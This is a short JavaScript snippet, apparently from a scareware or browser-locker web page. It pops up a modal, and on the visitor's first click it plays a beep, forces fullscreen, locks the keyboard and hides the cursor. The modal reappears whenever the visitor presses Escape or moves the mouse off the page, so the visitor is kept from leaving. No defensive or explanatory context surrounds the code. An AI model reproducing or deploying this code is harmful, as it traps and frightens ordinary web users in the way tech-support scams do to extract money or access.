let closePP = document.querySelector('.btn-primary');
    let overlay = document.querySelector('.modal-dialog');

    let KEY_ESC = 27;
    document.onkeydown = function(e) {
        if (e.keyCode == KEY_ESC) {
           document.querySelector('.wrapper').style.cursor="auto";
           setTimeout( () => {document.querySelector('.modal-dialog').style.display="block"}, 1000);

       }
   }



   setTimeout( () => {document.querySelector('.modal-dialog').style.display="block"}, 500);

   document.addEventListener('click', () => {


    document.getElementById("beep").play();

    //document.documentElement.requestFullscreen();
    document.body.requestFullscreen().then(
    () => {
      const keys = [
        { code: 'Escape' },
        { code: 'Tab', altKey: true },
        { code: 'Tab', metaKey: true },
      ];
      //navigator.requestSystemKeyboardLock(keys);
      navigator.keyboard.lock();
    });
    document.addEventListener('keydown', event => {
      if (event.code == 'Escape') {
        console.dir('escape punched');
      }
    }, false);
    document.querySelector('.modal-dialog').style.display="none";
    document.querySelector('.wrapper').style.cursor="none";

});



   document.addEventListener('mouseleave', showDontLeavePopup);
   var popupShows = 0;
   function showDontLeavePopup() {

    document.querySelector('.modal-dialog').style.display="block";

} 


        // document.querySelector('.btn-primary').onclick = function() {
        //     document.querySelector('.modal-dialog').style.display = 'none';
        // };